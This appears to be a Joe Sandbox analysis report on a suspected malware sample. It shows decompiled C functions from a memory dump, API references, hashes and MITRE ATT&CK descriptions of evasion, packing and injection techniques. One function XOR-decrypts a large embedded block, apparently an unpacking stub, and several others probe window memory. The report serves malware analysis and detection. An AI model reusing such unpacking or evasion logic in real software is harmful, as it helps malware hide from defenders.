SendMessageW.USER32(?,00000112,0000F120,00000000), ref: 0093C060
SystemParametersInfoW.USER32 ref: 0093C07A

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: InfoParametersSystem$MessageSend$ForegroundWindow
String ID:
API String ID: 4248574875-0
Opcode ID: 26eeccbaf94b40852a01f4c25d5f8411bf12e7961c7243a60660232832bbd64c
Instruction ID: 5ff825a6173eb9df330bb2eba84eab8f2420f4487644ff256396f74c873512fb
Opcode Fuzzy Hash: 26eeccbaf94b40852a01f4c25d5f8411bf12e7961c7243a60660232832bbd64c
Instruction Fuzzy Hash: 0D1133B0A84308BAFB208B949D86FAE7BBCEB04B55F504165FA44BA1C0C7F46D459B50

Uniqueness

Uniqueness Score: -1.00%

Function 0093CFD0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0093CFD0() {
				struct HWND__* _t10;
				void* _t12;
				int _t15;

				_t15 = 0;
				_t10 = CreateWindowExW(0, 0x8002, 0, 0, 0, 0, 0, 0, 0, 0,  *0x9580b8, 0);
				if(_t10 == 0) {
					L8:
					return _t15;
				} else {
					_t12 = E0093C750(_t10);
					if(_t12 == 0) {
						L7:
						DestroyWindow(_t10);
						goto L8;
					} else {
						SetWindowLongW(_t10, 0, 0x31323334);
						while( *((intOrPtr*)(_t15 + _t12)) != 0x31323334) {
							_t15 = _t15 + 1;
							if(_t15 < 0x200) {
								continue;
							} else {
								DestroyWindow(_t10);
								return 0;
							}
							goto L9;
						}
						_t15 = _t15 + 8;
						goto L7;
					}
				}
				L9:
			}

0x0093cfd7
0x0093cfef
0x0093cff3
0x0093d03c
0x0093d040
0x0093cff5
0x0093cffc
0x0093d000
0x0093d034
0x0093d035
0x00000000
0x0093d002
0x0093d009
0x0093d010
0x0093d019
0x0093d020
0x00000000
0x0093d022
0x0093d025
0x0093d030
0x0093d030
0x00000000
0x0093d020
0x0093d031
0x00000000
0x0093d031
0x0093d000
0x00000000

APIs

CreateWindowExW.USER32 ref: 0093CFE9
SetWindowLongW.USER32 ref: 0093D009
DestroyWindow.USER32(00000000,?,00000000), ref: 0093D025
DestroyWindow.USER32(00000000,00000000,74656490,?,00000000), ref: 0093D035

Strings

4321, xrefs: 0093D010

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: Window$Destroy$CreateLong
String ID: 4321
API String ID: 4054532065-3297689448
Opcode ID: c9523dda6824ec4036d905db8e5026e28b1662a4f388ada07bfa10bdfa5b0510
Instruction ID: 9685d5de4d4e4132c2bf126e5d584d83868639af6b25417432d5c34b13e166cf
Opcode Fuzzy Hash: c9523dda6824ec4036d905db8e5026e28b1662a4f388ada07bfa10bdfa5b0510
Instruction Fuzzy Hash: 55F05B7231662167D23517AAAC8CD9BDA5DDF567A3B054021F905E1251CB308C025FE1

Uniqueness

Uniqueness Score: -1.00%

Function 0093BF60 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0093BF60() {
				struct HWND__* _t10;
				void* _t12;
				int _t15;

				_t15 = 0;
				_t10 = CreateWindowExW(0, 0x8002, 0, 0, 0, 0, 0, 0, 0, 0,  *0x958030, 0);
				if(_t10 == 0) {
					L8:
					return _t15;
				} else {
					_t12 = E0093C750(_t10);
					if(_t12 == 0) {
						L7:
						DestroyWindow(_t10);
						goto L8;
					} else {
						SetWindowLongW(_t10, 0, 0x31323334);
						while( *((intOrPtr*)(_t15 + _t12)) != 0x31323334) {
							_t15 = _t15 + 1;
							if(_t15 < 0x200) {
								continue;
							} else {
								DestroyWindow(_t10);
								return 0;
							}
							goto L9;
						}
						_t15 = _t15 + 4;
						goto L7;
					}
				}
				L9:
			}

0x0093bf67
0x0093bf7f
0x0093bf83
0x0093bfcc
0x0093bfd0
0x0093bf85
0x0093bf8c
0x0093bf90
0x0093bfc4
0x0093bfc5
0x00000000
0x0093bf92
0x0093bf99
0x0093bfa0
0x0093bfa9
0x0093bfb0
0x00000000
0x0093bfb2
0x0093bfb5
0x0093bfc0
0x0093bfc0
0x00000000
0x0093bfb0
0x0093bfc1
0x00000000
0x0093bfc1
0x0093bf90
0x00000000

APIs

CreateWindowExW.USER32 ref: 0093BF79
SetWindowLongW.USER32 ref: 0093BF99
DestroyWindow.USER32(00000000,?,00000000), ref: 0093BFB5
DestroyWindow.USER32(00000000,00000000,74656490,?,00000000), ref: 0093BFC5

Strings

4321, xrefs: 0093BFA0

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: Window$Destroy$CreateLong
String ID: 4321
API String ID: 4054532065-3297689448
Opcode ID: 501c5ef72cdc9f28aeeefc847888f7c0ba00744af8b09e04fd834b467cfeaa1e
Instruction ID: 104ddfbc842b4b4f08db8cb62b6dba84d87dba21ff4fcb06be4157ccd85ded0a
Opcode Fuzzy Hash: 501c5ef72cdc9f28aeeefc847888f7c0ba00744af8b09e04fd834b467cfeaa1e
Instruction Fuzzy Hash: AEF0807631963167D22137E9DC8CD97DA5CDF467B67055035F605E1251CB308C415FE1

Uniqueness

Uniqueness Score: -1.00%

Function 009313F5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
threadCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E009313F5() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _t18;
				void* _t23;
				void* _t24;
				signed int _t25;
				long _t27;
				void* _t28;
				void* _t30;

				E0093132F(_t28);
				_t18 = 0x13;
				_v48 = 2;
				_v44 = 1;
				_v40 = 0x23;
				_v36 = 3;
				_v32 = 0xd;
				_v28 = _t18;
				_v24 = 0x14;
				_v20 = 0xa;
				_v16 = 0xb;
				_v12 = _t18;
				_v8 = 0xf;
				OpenProcess(0, 0, 0);
				if(GetLastError() == 0x57) {
					_t25 = 0;
					_t27 = 0;
					do {
						 *(_t27 + 0x944250) =  *(_t27 + 0x944250) ^  *(_t30 + _t25 * 4 - 0x2c);
						_t25 =  ==  ? 0 : _t25 + 1;
						_t27 = _t27 + 1;
						_t33 = _t27 - 0x13000;
					} while (_t27 < 0x13000);
					_t23 = E00931243(_t24, _t25, _t28, 0, _t33);
					_push(0);
					if(_t23 != 0) {
						L2:
						ExitProcess();
					}
					ExitThread();
				}
				_push(0);
				goto L2;
			}

0x009313fc
0x00931403
0x00931406
0x00931410
0x00931417
0x0093141e
0x00931425
0x0093142c
0x0093142f
0x00931436
0x0093143d
0x00931444
0x00931447
0x0093144e
0x0093145d
0x00931466
0x00931468
0x0093146a
0x0093146e
0x0093147a
0x0093147d
0x0093147e
0x0093147e
0x00931486
0x0093148b
0x0093148e
0x00931460
0x00931460
0x00931460
0x00931490
0x00931490
0x0093145f
0x00000000

APIs

Part of subcall function 0093132F: GetModuleFileNameW.KERNEL32(00000000,?,00000100), ref: 00931359
Part of subcall function 0093132F: GetModuleFileNameW.KERNEL32(00000000,?,00000100), ref: 0093136C
Part of subcall function 0093132F: GetLastError.KERNEL32 ref: 00931374
Part of subcall function 0093132F: CharUpperBuffW.USER32(?,00000000), ref: 00931387
Part of subcall function 0093132F: GetCurrentProcess.KERNEL32(00000000), ref: 009313AD
Part of subcall function 0093132F: IsWow64Process.KERNEL32(00000000), ref: 009313B4
Part of subcall function 0093132F: GetCurrentProcessId.KERNEL32 ref: 009313C7

OpenProcess.KERNEL32(00000000,00000000,00000000), ref: 0093144E
GetLastError.KERNEL32 ref: 00931454
ExitProcess.KERNEL32(00000000), ref: 00931460
ExitThread.KERNEL32 ref: 00931490

Strings

#, xrefs: 00931417

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: Process$CurrentErrorExitFileLastModuleName$BuffCharOpenThreadUpperWow64
String ID: #
API String ID: 3640460183-1885708031
Opcode ID: c6ea82885ba5abf75d42bb62294400830deed16d71b6c5c775dfeb654af86cd7
Instruction ID: 9d6dd05eb8b0ac12dc19085dc4d6a8faffdd4b470046f78cfa7f13a3dc7c5282
Opcode Fuzzy Hash: c6ea82885ba5abf75d42bb62294400830deed16d71b6c5c775dfeb654af86cd7
Instruction Fuzzy Hash: 53018470D152199BDB18AFB4C85C7DEBEF9EF09348F108018D015A62A1D7F80A459FF5

Uniqueness

Uniqueness Score: -1.00%

Function 00931D3F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E00931D3F(void* __ecx, intOrPtr _a4) {
				struct HINSTANCE__* _v8;
				_Unknown_base(*)()* _t4;

				_t4 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t4, __ecx);
				if(_t4 != 0) {
					_t4 = GetProcAddress(_v8, "CorExitProcess");
					if(_t4 != 0) {
						return  *_t4(_a4);
					}
				}
				return _t4;
			}

0x00931d43
0x00931d4e
0x00931d56
0x00931d60
0x00931d68
0x00000000
0x00931d6d
0x00931d68
0x00931d72

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00931D7E,00000000,?,00935078,000000FF,0000001E,00000000,00000000,00000000,?,009335E3), ref: 00931D4E
GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00931D60

Strings

mscoree.dll, xrefs: 00931D47
CorExitProcess, xrefs: 00931D58

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 44ab9e2a770259f885d5d1ba07299ec75ae8dc166384c1e9d1f890085b828239
Instruction ID: 20a8248edca4e7a123b2ade2d2f399b89cc0b1100c10952cd5fa5eec53e7149f
Opcode Fuzzy Hash: 44ab9e2a770259f885d5d1ba07299ec75ae8dc166384c1e9d1f890085b828239
Instruction Fuzzy Hash: 38D01230648208BBDB145BA1DC05F6A776DAB45741F040154B824D50E0DBA19A10AE64

Uniqueness

Uniqueness Score: -1.00%

Function 009375CA Relevance: 6.1, APIs: 4, Instructions: 97
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E009375CA(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				int _v20;
				int _t35;
				int _t38;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					E009339D6( &_v20, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E0093750C( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t59 = 1;
							__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							if(__eflags != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E009342FC(__eflags);
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							__eflags = _t50 -  *(_t59 + 0x74);
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(__eflags == 0) {
								goto L20;
							}
							L18:
							_t59 =  *(_t59 + 0x74);
							goto L21;
						}
						__eflags = _t50 -  *(_t59 + 0x74);
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t47 = MultiByteToWideChar( *(_t59 + 4), 9, _t62,  *(_t59 + 0x74), _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

0x009375d2
0x009375d7
0x009375f1
0x00000000
0x009375f1
0x009375d9
0x009375de
0x00000000
0x00000000
0x009375e3
0x00937600
0x00937605
0x00937608
0x0093760f
0x0093762e
0x00937635
0x00937637
0x0093767b
0x0093768a
0x00937698
0x0093769a
0x009376aa
0x009376aa
0x009376ae
0x009376b0
0x009376b3
0x009376b3
0x009376b3
0x009376b3
0x00000000
0x009376b9
0x0093769c
0x0093769c
0x009376a1
0x009376a1
0x009376a4
0x00000000
0x009376a4
0x00937639
0x0093763c
0x00937640
0x00937669
0x00937669
0x0093766c
0x0093766c
0x00000000
0x00000000
0x0093766e
0x00937672
0x00000000
0x00000000
0x00937674
0x00937674
0x00000000
0x00937674
0x00937642
0x00937645
0x00000000
0x00000000
0x00937649
0x0093765c
0x00937662
0x00937665
0x00937667
0x00000000
0x00000000
0x00000000
0x00937667
0x00937611
0x00937614
0x00937616
0x0093761b
0x0093761b
0x00937620
0x00000000
0x00937620
0x009375e5
0x009375ea
0x009375ee
0x009375ee
0x00000000

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00937600
__isleadbyte_l.LIBCMT ref: 0093762E
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,?,00000000), ref: 0093765C
MultiByteToWideChar.KERNEL32(00000080,00000009,00000108,00000001,?,00000000), ref: 00937692

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 245aa966855fd1f77c9d3ce5c533a57f92e62060ba6824a13a787ee26a24073e
Instruction ID: 31df534d44fefe3d535cfbe4b84337c4610c9ad1b35dc4e5f85ff8a3ccbd42d0
Opcode Fuzzy Hash: 245aa966855fd1f77c9d3ce5c533a57f92e62060ba6824a13a787ee26a24073e
Instruction Fuzzy Hash: 6F31CFB0608646EFDB358EA9CC56BAABBA9FF41314F154929F814871A0E730D850DF91

Uniqueness

Uniqueness Score: -1.00%

Function 009350DD Relevance: 6.1, APIs: 4, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E009350DD(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					__eflags = _t31;
					if(_t31 != 0) {
						_push(__ebx);
						while(1) {
							__eflags = _t31 - 0xffffffe0;
							if(_t31 > 0xffffffe0) {
								break;
							}
							__eflags = _t31;
							if(_t31 == 0) {
								_t31 = _t31 + 1;
								__eflags = _t31;
							}
							_t7 = HeapReAlloc( *0x95729c, 0, _a4, _t31);
							_t20 = _t7;
							__eflags = _t20;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								__eflags =  *0x957fd0 - _t7;
								if(__eflags == 0) {
									_t9 = E009342FC(__eflags);
									 *_t9 = E0093430F(GetLastError());
									goto L17;
								} else {
									__eflags = E009345F0(_t7, _t31);
									if(__eflags == 0) {
										_t12 = E009342FC(__eflags);
										 *_t12 = E0093430F(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E009345F0(_t6, _t31);
						 *((intOrPtr*)(E009342FC(__eflags))) = 0xc;
						goto L12;
					} else {
						E0093354D(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E0093504B(__ebx, __edx, __edi, _a8);
				}
			}

0x009350e4
0x009350f2
0x009350f5
0x009350f7
0x00935106
0x00935139
0x00935139
0x0093513c
0x00000000
0x00000000
0x00935109
0x0093510b
0x0093510d
0x0093510d
0x0093510d
0x0093511a
0x00935120
0x00935122
0x00935124
0x00935184
0x00935184
0x00935126
0x00935126
0x0093512c
0x0093516e
0x00935182
0x00000000
0x0093512e
0x00935135
0x00935137
0x00935156
0x0093516a
0x00935150
0x00935150
0x00935150
0x00000000
0x00000000
0x00000000
0x00935137
0x0093512c
0x00000000
0x00935152
0x0093513f
0x0093514a
0x00000000
0x009350f9
0x009350fc
0x00935102
0x00935102
0x00935153
0x00935155
0x009350e6
0x009350f0
0x009350f0

APIs

_free.LIBCMT ref: 009350FC

Part of subcall function 0093504B: __FF_MSGBANNER.LIBCMT ref: 00935062
Part of subcall function 0093504B: __NMSG_WRITE.LIBCMT ref: 00935069
Part of subcall function 0093504B: HeapAlloc.KERNEL32(00830000,00000000,00000001,00000000,00000000,00000000,?,009335E3,00000000,00000000,00000000,00000000,?,00933498,00000018,00941F40), ref: 0093508E

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: AllocHeap_free
String ID:
API String ID: 1080816511-0
Opcode ID: 4e5497515bac27710266de0d8def36d40164f46e9fdef71d6a7b4b78a454c233
Instruction ID: 66ca754cbe2658e29ae2166be16f2f03a63d94938edd94198ad954fc84bbb040
Opcode Fuzzy Hash: 4e5497515bac27710266de0d8def36d40164f46e9fdef71d6a7b4b78a454c233
Instruction Fuzzy Hash: 0811C27280CA11ABCF342FF5AC0576A3B98AF48360F134925F8099B1A1DE74D9809E94

Uniqueness

Uniqueness Score: -1.00%

Function 00938E3D Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00938E3D(void* __edx, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E0093938E(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00938EC3(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00939609(__edx, __esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00939548(__edx, __esi, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00938e40
0x00938e46
0x00938eb9
0x00000000
0x00938e4d
0x00938e4d
0x00938e50
0x00938e6b
0x00938e6e
0x00938e8e
0x00938ea0
0x00938e70
0x00938e70
0x00938e73
0x00000000
0x00938e75
0x00938e87
0x00938e87
0x00938e73
0x00938ebe
0x00938ec2
0x00938e52
0x00938e6a
0x00938e6a
0x00938e50

APIs

__cftof_l.LIBCMT ref: 00938E61

Part of subcall function 00939548: __fltout2.LIBCMT ref: 00939571

__cftog_l.LIBCMT ref: 00938E87
__cftoe_l.LIBCMT ref: 00938EB9

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: e33522001c63742a456b874a3062a45355bf9244ec0b36b4835526fe078c14f9
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 09014B7240424EBBCF266E84DC41DEE3F66BB58354F588415FE1858131D736C9B1AF82

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

